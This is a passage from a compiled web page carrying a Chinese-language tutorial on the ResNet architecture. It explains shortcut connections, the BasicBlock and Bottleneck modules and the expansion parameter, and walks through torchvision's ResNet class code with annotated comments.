)\n\n\ndef conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:\n """1x1 convolution"""\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n'})}),"\n",(0,t.jsx)(e.h3,{id:"22-\u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",children:"2.2 \u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u7f51\u7edc\u662f\u7531\u5f88\u591a\u76f8\u540c\u7684\u6a21\u5757\u5806\u53e0\u8d77\u6765\u7684\uff0c\u4e3a\u4e86\u4fdd\u8bc1\u4ee3\u7801\u5177\u6709\u53ef\u8bfb\u6027\u548c\u53ef\u6269\u5c55\u6027\uff0cResNet\u5728\u8bbe\u8ba1\u65f6\u91c7\u7528\u4e86\u6a21\u5757\u5316\u8bbe\u8ba1\uff0c\u9488\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684ResNet\uff0c\u4e66\u5199\u4e86BasicBlock\u548cBottleNeck\u4e24\u4e2a\u57fa\u672c\u6a21\u5757\u3002\u8fd9\u79cd\u6a21\u5757\u5316\u7684\u8bbe\u8ba1\u5728\u73b0\u5728\u8bb8\u591a\u5e38\u89c1\u7684\u6df1\u5ea6\u5b66\u4e60\u4ee3\u7801\u4e2d\u6211\u4eec\u53ef\u4ee5\u7ecf\u5e38\u770b\u5230\u3002"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u5e38\u89c1\u7684\u5927\u5c0f\u6709\u4e0b\u56fe\u7684ResNet-18\uff0cResNet-34\uff0cResNet-50\u3001ResNet-101\u548cResNet-152\uff0c\u5176\u4e2d\u7f51\u7edc\u540e\u9762\u7684\u6570\u5b57\u4ee3\u8868\u7684\u662f\u7f51\u7edc\u7684\u5c42\u6570\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"expansion",src:s(19243).A+"",width:"875",height:"377"})}),"\n",(0,t.jsx)(e.p,{children:"\u4e3a\u4e86\u5e2e\u52a9\u5927\u5bb6\u66f4\u597d\u7684\u7406\u89e3\uff0c\u6211\u4eec\u4ee5ResNet101\u4e3a\u4f8b\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"layer_name"}),(0,t.jsx)(e.th,{children:"\u6b21\u6570"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv1"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef1\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv2_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef3 x 3 = 9\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv3_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef4 x 3 = 12\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv4_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef23 x 3 = 69\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv5_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef3 x 3 = 9\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"fc"}),(0,t.jsx)(e.td,{children:"average pool 1\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5408\u8ba1"}),(0,t.jsx)(e.td,{children:"1 + 9 + 12 + 69 + 9 + 1 = 101\u6b21"})]})]})]}),"\n",(0,t.jsx)(e.p,{children:"\u89c2\u5bdf\u4e0a\u9762\u5404\u4e2aResNet\u7684\u6a21\u5757\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0ResNet-18\u548cResNet-34\u6bcf\u4e00\u5c42\u5185\uff0c\u6570\u636e\u7684\u5927\u5c0f\u4e0d\u4f1a\u53d1\u751f\u53d8\u5316\uff0c\u4f46\u662fResNet-50\u3001ResNet-101\u548cResNet-152\u4e2d\u7684\u6bcf\u4e00\u5c42\u5185\u8f93\u5165\u548c\u8f93\u51fa\u7684channel\u6570\u76ee\u4e0d\u4e00\u6837\uff0c\u8f93\u51fa\u7684channel\u6269\u5927\u4e3a\u8f93\u5165channel\u76844\u500d\uff0c\u9664\u6b64\u4e4b\u5916\uff0c\u6bcf\u4e00\u5c42\u7684\u5377\u79ef\u7684\u5927\u5c0f\u4e5f\u53d8\u6362\u4e3a1\uff0c3\uff0c1\u7684\u7ed3\u6784\u3002\u57fa\u4e8e\u8fd9\u4e2a\u53d1\u73b0\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06ResNet-18\u548cResNet-34\u7684\u6784\u6210\u6a21\u5757\u5f53\u4f5c\u4e00\u7c7b\uff0cResNet-50\u3001ResNet-101\u548cResNet-152\u8fd9\u4e09\u7c7b\u7f51\u7edc\u7684\u6784\u6210\u6a21\u5757\u5f53\u4f5c\u4e00\u7c7b\u3002\u4e8b\u5b9e\u4e0a\uff0ctorchvision\u7684\u6e90\u7801\u4e5f\u662f\u57fa\u4e8e\u8fd9\u79cd\u8bbe\u8ba1\u601d\u60f3\uff0c\u4f7f\u7528\u5982\u4e0b\u56fe\u7684BasicBlock\uff08\u5de6\uff09\u548cBottleNeck\uff08\u53f3\uff09\u6a21\u5757\uff0c\u5e76\u4e14\u4e3a\u4e86\u63a7\u5236\u8f93\u5165\u548c\u8f93\u51fa\u7684\u901a\u9053\u6570\u76ee\u7684\u53d8\u5316\uff0c\u5728\u4ee3\u7801\u4e2d\u8f93\u51fa\u7684\u901a\u9053\u7ef4\u5ea6\u4e5f\u901a\u8fc7expansion\u8fdb\u884c\u63a7\u5236\uff0c\u4e24\u4e2ablock\u7c7b\u8f93\u5165\u4e00\u4e2a\u901a\u9053\u4e3ain_planes\u7ef4\u7684\u5ea6\u7279\u5f81\u56fe\uff0c\u8f93\u51fa\u4e00\u4e2aplanes*block.expansion\u7ef4\u7684\u7279\u5f81\u56fe\uff0c\u5176\u4e2dplanes\u7684\u6570\u76ee\u5927\u5c0f\u7b49\u4e8ein_planes\u3002\u9664\u6b64\u4ee5\u5916\uff0c\u4ee3\u7801\u53f3\u4fa7\u7684\u66f2\u7ebf\u5c31\u662f\u672c\u6587\u6700\u91cd\u8981\u7684shortcut\u652f\u8def\uff0c\u8be5\u652f\u8def\u4e0a\u7684downsample\u64cd\u4f5c\u662f\u4e3a\u4e86\u5bf9shortcut\u652f\u8def\u8fdb\u884c\u5927\u5c0f\u6216\u7ef4\u5ea6\u4e0a\u7684\u8c03\u6574\uff0c\u4ee5\u5e0c\u671b\u6267\u884c\u76f8\u52a0\u64cd\u4f5c"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"block",src:s(5411).A+"",width:"928",height:"372"})}),"\n",(0,t.jsx)(e.h4,{id:"221-shortcut-connection",children:"2.2.1 Shortcut Connection."}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u518d\u5206\u6790\u4e00\u4e0bshortcut connection\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"shortcut",src:s(15976).A+"",width:"463",height:"273"})}),"\n",(0,t.jsx)(e.p,{children:"shortcut connection\u4e5f\u5c31\u662f\u6240\u8c13\u7684\u201c\u6284\u8fd1\u9053\u201d\uff0c\u5b83\u6709\u4e24\u79cd\u65b9\u5f0f\uff0c\u5176\u4e00\u4e3a\u540c\u7b49\u7ef4\u5ea6\u7684\u6620\u5c04\uff0c\u5373\u8f93\u5165\u8f93\u51fa\u76f4\u63a5\u76f8\u52a0\uff08\u5373\u4e0a\u56fe\u4e2d\u7684F(x) + x\uff09\uff0c\u53e6\u4e00\u79cd\u4e3a\u4e0d\u540c\u7ef4\u5ea6\u7684\u6620\u5c04\uff0c\u8fd9\u65f6\u5019\u5c31\u9700\u8981\u7ed9x\u8865\u5145\u4e00\u4e2a\u7ebf\u6027\u6620\u5c04\u6765\u5339\u914d\u7ef4\u5ea6\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u6bd4\u5982\u4e0b\u9762\u8fd9\u4e2a\u56fe\uff1a"}),"\n",(0,t.jsx)(e.img,{src:"./figures/shortcut2.jpg"}),"\n",(0,t.jsx)(e.p,{children:"\u5de6\uff1aVGG-19\u6a21\u578b\uff0c\u4f5c\u4e3a\u53c2\u8003\u3002 \u4e2d\uff1a\u4e00\u4e2a\u670934\u4e2a\u53c2\u6570\u5c42\u7684\u666e\u901a\u7f51\u7edc\u3002 \u53f3\uff1a\u4e00\u4e2a\u670934\u4e2a\u53c2\u6570\u5c42\u7684\u6b8b\u5dee\u7f51\u7edc\uff08\u5373resnet34\uff09"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u4e0a\u56fe\u6700\u53f3\u4fa7\u7684\u8def\u5f84\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u5f88\u660e\u663e\u7684\u770b\u5230shortcut connection\u52a0\u5165\u4e86\u7f51\u7edc\u4e4b\u4e2d\uff0c\u540c\u65f6\uff0c\u56fe\u4e2d\u4e5f\u5f88\u660e\u663e\u7684\u53ef\u4ee5\u770b\u5230\uff0c\u5b9e\u7ebf\u90e8\u5206\u5c31\u662f\u8fdb\u884c\u4e86\u5355\u7eaf\u7684F(x)+x\u64cd\u4f5c\uff0c\u800c\u865a\u7ebf\u90e8\u5206\uff0c\u7b2c\u4e00\u4e2a\u5377\u79ef\u5c42\u7684stride\u662f2\uff08\u90a3\u4e2a/2\u7684\u610f\u601d\u5c31\u662fstride\u662f2\uff09\uff1b\u540c\u65f6\u6ce8\u610f\u5230\u6df1\u5ea6\u4e5f\u53d1\u751f\u4e86\u53d8\u6362\uff0cchannel\u6570\u76ee\u589e\u52a0\u4e00\u500d\uff08\u6269\u5927\u4e24\u500d\uff09\uff0c\u8fd9\u6837F(x)\u7684\u5206\u8fa8\u7387\u6bd4x\u5c0f\u4e00\u534a\uff0c\u539a\u5ea6\u6bd4x\u5927\u4e00\u500d\u3002\u5728\u8fd9\u6837\u7684shortcut connection\u4e2d\uff0c\u5c31\u9700\u8981\u8865\u5145\u7ebf\u6027\u6620\u5c04\u6765\u589e\u52a0\u7ef4\u5ea6\u3002\u5728ResNet\u4e2d\uff0c\u4f5c\u8005\u4f7f\u7528\u4e861 x 1\u7684\u5377\u79ef\u6838\u6765\u8fbe\u5230\u8fd9\u4e2a\u76ee\u7684\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u53e6\u5916\uff0c\u8bba\u6587\u4e2d\u53c8\u63d0\u5230\u8bf4\uff1a\u201c\u2026\u2026where both designs have similar time complexity.\u201d \u65e2\u7136BasicBlock\u548cBottleneck\u4e8c\u8005\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u7c7b\u4f3c\uff0c\u90a3\u4e48\u4e3a\u4ec0\u4e48\u8fd8\u8981\u989d\u5916\u8bbe\u8ba1\u4e00\u4e2aBottleneck\u7ed3\u6784\u5462\uff1f"}),"\n",(0,t.jsx)(e.p,{children:"\u6839\u636e\u524d\u9762\u7684\u53d9\u8ff0\u6211\u4eec\u77e5\u9053\uff0cBasicBlock\u7ed3\u6784\u6bd4\u4f20\u7edf\u7684\u5377\u79ef\u7ed3\u6784\u591a\u4e86\u4e00\u4e2ashortcut\u652f\u8def\uff0c\u7528\u4e8e\u4f20\u9012\u4f4e\u5c42\u7684\u4fe1\u606f\uff0c\u4f7f\u5f97\u7f51\u7edc\u80fd\u591f\u8bad\u7ec3\u5730\u5f88\u6df1\u3002\u800cBottleNeck\u5148\u901a\u8fc7\u4e00\u4e2a1x1\u7684\u5377\u79ef\u51cf\u5c11\u901a\u9053\u6570\uff0c\u4f7f\u5f97\u4e2d\u95f4\u5377\u79ef\u7684\u901a\u9053\u6570\u51cf\u5c11\u4e3a1/4\uff1b\u4e2d\u95f4\u7684\u666e\u901a\u5377\u79ef\u505a\u5b8c\u5377\u79ef\u540e\u8f93\u51fa\u901a\u9053\u6570\u7b49\u4e8e\u8f93\u5165\u901a\u9053\u6570\uff1b\u7b2c\u4e09\u4e2a\u5377\u79ef\u7528\u4e8e\u6062\u590d\u901a\u9053\u6570\uff0c\u4f7f\u5f97BottleNeck\u7684\u8f93\u51fa\u901a\u9053\u6570\u7b49\u4e8eBottleNeck\u7684\u8f93\u5165\u901a\u9053\u6570\u3002**\u6362\u53e5\u8bdd\u8bf4\uff0c\u8fd9\u4e24\u4e2a1x1\u5377\u79ef\u6709\u6548\u5730\u51cf\u5c11\u4e86\u5377\u79ef\u7684\u53c2\u6570\u4e2a\u6570\u548c\u8ba1\u7b97\u91cf\uff0c\u540c\u65f6\u51cf\u5c11\u4e86\u4e2d\u95f4\u7279\u5f81\u56fe\u7684\u901a\u9053\u6570\uff0c\u4f7f\u5355\u4e2aBlock\u6d88\u8017\u7684\u663e\u5b58\u66f4\u5c11\uff0c\u5728\u8f83\u6df1\u7684\u7f51\u7edc\u4e2dBottleNeck\u4f1a\u5728\u53c2\u6570\u4e0a\u66f4\u52a0\u8282\u7ea6\uff0c\u8fd9\u6837\u53ef\u4ee5\u6709\u5229\u4e8e\u6784\u5efa\u5c42\u6570\u66f4\u591a\u7684\u7f51\u7edc\uff0c\u540c\u65f6\u8fd8\u80fd\u4fdd\u6301\u6027\u80fd\u7684\u63d0\u5347\u3002**\u6240\u4ee5resnet50, resnet101\u548cresnet152\u4f7f\u7528\u4e86\u53e6\u5916\u8bbe\u8ba1\u7684BottleNeck\u7ed3\u6784\u3002"}),"\n",(0,t.jsx)(e.h4,{id:"222-basicblock",children:"2.2.2 BasicBlock"}),"\n",(0,t.jsx)(e.p,{children:"BasicBlock\u6a21\u5757\u7528\u6765\u6784\u5efaresnet18\u548cresnet34"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class BasicBlock(nn.Module):\n expansion: int = 1\n\n def __init__(\n self,\n inplanes: int,\n planes: int,\n stride: int = 1,\n downsample: Optional[nn.Module] = None,\n groups: int = 1,\n base_width: int = 64,\n dilation: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None,\n ) -> None:\n super().__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n if groups != 1 or base_width != 64:\n raise ValueError("BasicBlock only supports groups=1 and base_width=64")\n if dilation > 1:\n raise NotImplementedError("Dilation > 1 not supported in BasicBlock")\n # Both self.conv1 and self.downsample layers downsample the input when stride != 1\n self.conv1 = conv3x3(inplanes, planes, stride)\n self.bn1 = norm_layer(planes)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(planes, planes)\n self.bn2 = norm_layer(planes)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x: Tensor) -> Tensor:\n identity = x # x \u7ed9\u81ea\u5df1\u5148\u5907\u4efd\u4e00\u4efd\n\n out = self.conv1(x) # \u5bf9x\u505a\u5377\u79ef \n out = self.bn1(out) # \u5bf9x\u5f52\u4e00\u5316 \n out = self.relu(out) # \u5bf9x\u7528\u6fc0\u6d3b\u51fd\u6570\n\n out = self.conv2(out) # \u5bf9x\u505a\u5377\u79ef\n out = self.bn2(out) # \u5f52\u4e00\u5316\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity # \u8fdb\u884cdownsample\n out = self.relu(out)\n\n return out\n'})}),"\n",(0,t.jsx)(e.h4,{id:"223-bottleneck",children:"2.2.3 BottleNeck"}),"\n",(0,t.jsx)(e.p,{children:"BottleNeck\u6a21\u5757\u7528\u6765\u6784\u5efaresnet50\uff0cresnet101\u548cresnet152"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class Bottleneck(nn.Module):\n # Bottleneck in torchvision places the stride for downsampling at 3x3 convolution(self.conv2)\n # while original implementation places the stride at the first 1x1 convolution(self.conv1)\n # according to "Deep residual learning for image recognition"https://arxiv.org/abs/1512.03385.\n # This variant is also known as ResNet V1.5 and improves accuracy according to\n # https://ngc.nvidia.com/catalog/model-scripts/nvidia:resnet_50_v1_5_for_pytorch.\n\n expansion: int = 4 # \u5bf9\u8f93\u51fa\u901a\u9053\u8fdb\u884c\u500d\u589e\n\n def __init__(\n self,\n inplanes: int,\n planes: int,\n stride: int = 1,\n downsample: Optional[nn.Module] = None,\n groups: int = 1,\n base_width: int = 64,\n dilation: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None,\n ) -> None:\n super().__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n width = int(planes * (base_width / 64.0)) * groups\n # Both self.conv2 and self.downsample layers downsample the input when stride != 1\n self.conv1 = conv1x1(inplanes, width)\n self.bn1 = norm_layer(width)\n self.conv2 = conv3x3(width, width, stride, groups, dilation)\n self.bn2 = norm_layer(width)\n self.conv3 = conv1x1(width, planes * self.expansion)\n self.bn3 = norm_layer(planes * self.expansion)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n\n # Bottleneckd forward\u51fd\u6570\u548cBasicBlock\u7c7b\u4f3c\uff0c\u4e0d\u518d\u989d\u5916\u6ce8\u91ca\n def forward(self, x: Tensor) -> Tensor:\n identity = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity\n out = self.relu(out)\n\n return out\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u8fd9\u91cc\u518d\u5bf9\u4ee3\u7801\u4e2d",(0,t.jsx)(e.strong,{children:"expansion"}),"\u7684\u4f5c\u7528\u505a\u4e00\u4e2a\u8bf4\u660e\uff0c\u6211\u4eec\u53ef\u4ee5\u91cd\u65b0\u56de\u987e\u4e00\u4e0b\u4e0b\u9762\u8fd9\u5f20\u56fe\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:s(19243).A+"",width:"875",height:"377"})}),"\n",(0,t.jsx)(e.p,{children:"expansion\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5bf9\u8f93\u51fa\u901a\u9053\u7684\u500d\u4e58\u3002\u5728BasicBlock\u548cBottleNeck\u4e2d\uff0c\u201c__init__\u201d\u51fd\u6570\u4e2d\u6709\u4e09\u4e2a\u6bd4\u8f83\u5173\u952e\u7684\u53c2\u6570\uff1ainplanes,planes\u548cstride\uff0c\u8fd9\u4e09\u8005\u5206\u522b\u8868\u793a\u8f93\u5165\u7684\u901a\u9053\u6570\uff0c\u8f93\u51fa\u7684\u901a\u9053\u6570\u548c\u6b65\u5e45\u3002\u5728\u4e24\u4e2a\u6a21\u5757\u4e2d\uff0c__init__\u4f20\u5165\u7684planes\u90fd\u662f64,128,156,512\uff0c\u4f46\u6211\u4eec\u89c2\u5bdf\u4e0a\u9762\u7684\u8868\u683c\uff0c\u4f1a\u53d1\u73b0\u5bf9\u4e8eResNet-50\uff0cResNet-101\u548cResNet-152\u800c\u8a00\uff0c\u5b83\u4eec\u9700\u8981\u7684\u8f93\u51fa\u901a\u9053\u5e94\u8be5\u4e3a256,512,1024,2048\u624d\u5bf9\u3002\u56e0\u6b64\u5728\u8fd9\u91cc\u8bbe\u7f6eexpansion=4\uff0c\u5bf9\u5e94\u4e0a\u9762BottleNeck\u4ee3\u7801\u4e2d\u768430\u884c\u548c31\u884c\uff0c\u5c06\u6bcf\u4e00\u4e2aplanes\u90fd\u4e58\u4e0a\u8fd9\u4e2aexpansion\uff0c\u5c31\u5f97\u5230\u4e86\u9700\u8981\u7684\u901a\u9053\u6570\uff1b\u800c\u5bf9\u4e8eResNet-18\u548cResNet-34\u800c\u8a00\uff0c\u8f93\u5165\u901a\u9053\u548c\u8f93\u51fa\u901a\u9053\u7684\u7ef4\u5ea6\u4e0a\u6ca1\u6709\u53d1\u751f\u53d8\u5316\uff0c\u56e0\u6b64expansion\u4e5f\u8bbe\u7f6e\u4e3a1\u3002"}),"\n",(0,t.jsx)(e.h3,{id:"23-\u7f51\u7edc\u6574\u4f53\u7ed3\u6784",children:"2.3 \u7f51\u7edc\u6574\u4f53\u7ed3\u6784"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u5b9a\u4e49\u597d\u6700\u57fa\u672c\u7684Bottlenneck\u548cBasicBlock\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u6784\u5efaResNet\u7f51\u7edc\u4e86\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class ResNet(nn.Module):\n def __init__(\n self,\n block: Type[Union[BasicBlock, Bottleneck]], # \u9009\u62e9\u57fa\u672c\u6a21\u5757\n layers: List[int], # \u6bcf\u4e00\u5c42block\u7684\u6570\u76ee\u6784\u6210 -> [3,4,6,3]\n num_classes: int = 1000, # \u5206\u7c7b\u6570\u76ee\n zero_init_residual: bool = False, # \u521d\u59cb\u5316\n \n #######\u5176\u4ed6\u5377\u79ef\u6784\u6210\uff0c\u4e0e\u672c\u6587ResNet\u65e0\u5173######\n groups: int = 1,\n width_per_group: int = 64,\n replace_stride_with_dilation: Optional[List[bool]] = None,\n #########################################\n \n norm_layer: Optional[Callable[..., nn.Module]] = None, # norm\u5c42\n ) -> None:\n super().__init__()\n _log_api_usage_once(self)\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n self._norm_layer = norm_layer\n\t\t\n self.inplanes = 64 # \u8f93\u5165\u901a\u9053\n \n #######\u5176\u4ed6\u5377\u79ef\u6784\u6210\uff0c\u4e0e\u672c\u6587ResNet\u65e0\u5173######\n self.dilation = 1 # \u7a7a\u6d1e\u5377\u79ef\n if replace_stride_with_dilation is None:\n # each element in the tuple indicates if we should replace\n # the 2x2 stride with a dilated convolution instead\n replace_stride_with_dilation = [False, False, False]\n if len(replace_stride_with_dilation) != 3:\n raise ValueError(\n "replace_stride_with_dilation should be None "\n f"or a 3-element tuple, got {replace_stride_with_dilation}"\n )\n self.groups = groups\n self.base_width = width_per_group\n #########################################\n \n self.conv1 = nn.Conv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False)\n self.bn1 = norm_layer(self.inplanes)\n self.relu = nn.ReLU(inplace=True)\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n # \u901a\u8fc7_make_layer\u5e26\u5230\u5c42\u6b21\u5316\u8bbe\u8ba1\u7684\u6548\u679c\n self.layer1 = self._make_layer(block, 64, layers[0]) # \u5bf9\u5e94\u7740conv2_x\n self.layer2 = self._make_layer(block, 128, layers[1], stride=2, dilate=replace_stride_with_dilation[0]) # \u5bf9\u5e94\u7740conv3_x\n self.layer3 = self._make_layer(block, 256, layers[2], stride=2, dilate=replace_stride_with_dilation[1]) # \u5bf9\u5e94\u7740conv4_x\n self.layer4 = self._make_layer(block, 512, layers[3], stride=2, dilate=replace_stride_with_dilation[2]) # \u5bf9\u5e94\u7740conv5_x\n # \u5206\u7c7b\u5934\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\n self.fc = nn.Linear(512 * block.expansion, num_classes)\n\t\t\n # \u6a21\u578b\u521d\u59cb\u5316\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu")\n elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n\n # Zero-initialize the last BN in each residual branch,\n # so that the residual branch starts with zeros, and each residual block behaves like an identity.\n # This improves the model by 0.2~0.3% according to https://arxiv.org/abs/1706.02677\n if zero_init_residual:\n for m in self.modules():\n if isinstance(m, Bottleneck) and m.bn3.weight is not None:\n nn.init.constant_(m.bn3.weight, 0) # type: ignore[arg-type]\n elif isinstance(m, BasicBlock) and m.bn2.weight is not None:\n nn.init.constant_(m.bn2.weight, 0) # type: ignore[arg-type]\n\t# \u5c42\u6b21\u5316\u8bbe\u8ba1\n def _make_layer(\n self,\n block: Type[Union[BasicBlock, Bottleneck]], # \u57fa\u672c\u6784\u6210\u6a21\u5757\u9009\u62e9\n planes: int, # \u8f93\u5165\u7684\u901a\u9053\n blocks: int, # \u6a21\u5757\u6570\u76ee\n stride: int = 1, # \u6b65\u957f\n dilate: bool = False, # \u7a7a\u6d1e\u5377\u79ef\uff0c\u4e0e\u672c\u6587\u65e0\u5173\n ) -> nn.Sequential:\n norm_layer = self._norm_layer\n downsample = None # \u662f\u5426\u91c7\u7528\u4e0b\u91c7\u6837\n ####################\u65e0\u5173#####################\n previous_dilation = self.dilation \n if dilate:\n self.dilation *= stride\n stride = 1\n #############################################\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv1x1(self.inplanes, planes * block.expansion, stride),\n norm_layer(planes * block.expansion),\n )\n\t\t\n # \u4f7f\u7528layers\u5b58\u50a8\u6bcf\u4e2alayer\n layers = []\n layers.append(\n block(\n self.inplanes, planes, stride, downsample, self.groups, self.base_width, previous_dilation, norm_layer\n )\n )\n self.inplanes = planes * block.expansion\n for _ in range(1, blocks):\n layers.append(\n block(\n self.inplanes,\n planes,\n groups=self.groups,\n base_width=self.base_width,\n dilation=self.dilation,\n norm_layer=norm_layer,\n )\n )\n\t\t# \u5c06layers\u901a\u8fc7nn.Sequential\u8f6c\u5316\u4e3a\u7f51\u7edc\n return nn.Sequential(*layers)\n\n def _forward_impl(self, x: Tensor) -> Tensor:\n # See note [TorchScript super()]\n x = self.conv1(x) # conv1 x shape [1 64 112 112]\n x = self.bn1(x) # \u5f52\u4e00\u5316\u5904\u7406 \n x = self.relu(x) # \u6fc0\u6d3b\u51fd\u6570\n x = self.maxpool(x) # conv2_x\u76843x3 maxpool x shape [1 64 56 56]\n\n x = self.layer1(x) # layer 1\n x = self.layer2(x) # layer 2\n x = self.layer3(x) # layer 3\n x = self.layer4(x) # layer 4\n\n x = self.avgpool(x) # \u81ea\u9002\u5e94\u6c60\u5316\n x = torch.flatten(x, 1) \n x = self.fc(x) # \u5206\u7c7b\n\n return x\n\n def forward(self, x: Tensor) -> Tensor:\n return self._forward_impl(x) \n'})}),"\n",(0,t.jsx)(e.p,{children:"\u89c2\u5bdf\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u4e0d\u96be\u770b\u5230\uff0c\u9996\u5148\u662f\u4e00\u4e2a7 x 7\u7684\u5377\u79ef\u4f5c\u7528\u5728\u8f93\u5165\u76843\u7ef4\u56fe\u7247\u4e0a\uff0c\u5e76\u8f93\u5165\u4e00\u4e2a64\u7ef4\u7684\u7279\u5f81\u56fe\uff08\u5373self.inplanes\u7684\u521d\u59cb\u503c\uff09\uff0c\u901a\u8fc7BatchNorm\u5c42\uff0cReLU\u5c42\uff0cMaxPool\u5c42\uff1b\u7136\u540e\u7ecf\u8fc7_make_layer()\u51fd\u6570\u6784\u5efa\u76844\u5c42layer\uff0c\u6700\u540e\u7ecf\u8fc7\u4e00\u4e2aAveragePooling\u5c42\uff0c\u518d\u7ecf\u8fc7\u4e00\u4e2afc\u5c42\u5f97\u5230\u5206\u7c7b\u8f93\u51fa\u3002\u5728\u7f51\u7edc\u642d\u5efa\u8d77\u6765\u540e\uff0c\u8fd8\u5bf9\u6a21\u578b\u7684\u53c2\u6570(Conv2d\u3001BatchNorm2d\u3001last BN)\u8fdb\u884c\u4e86\u521d\u59cb\u5316\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u800c\u5bf9\u4e8e_make_layer\u51fd\u6570\uff0c\u4e00\u4e2a_make_layer()\u6784\u5efa\u4e00\u4e2alayer\u5c42\uff0c\u6bcf\u4e00\u4e2alayer\u5c42\u662f\u4e0a\u8ff0\u4e24\u79cd\u57fa\u672c\u6a21\u5757\u7684\u5806\u53e0\u3002\u8f93\u5165\u53c2\u6570\u4e2dblock\u4ee3\u8868\u8be5layer\u5806\u53e0\u6a21\u5757\u7684\u7c7b\u578b\uff0c\u53ef\u9009BasicBlock\u6216\u8005BottleNeck\uff1bblocks\u4ee3\u8868\u8be5layer\u4e2d\u5806\u53e0\u7684block\u7684\u6570\u76ee\uff1bplanes\u4e0e\u8be5layer\u6700\u7ec8\u8f93\u51fa\u7684\u7ef4\u5ea6\u6570\u6709\u5173\uff0c\u6ce8\u610f\u6700\u7ec8\u8f93\u51fa\u7684\u7ef4\u5ea6\u6570\u4e3aplanes * block.expansion\u3002\u9664\u6b64\u4e4b\u5916\uff0c 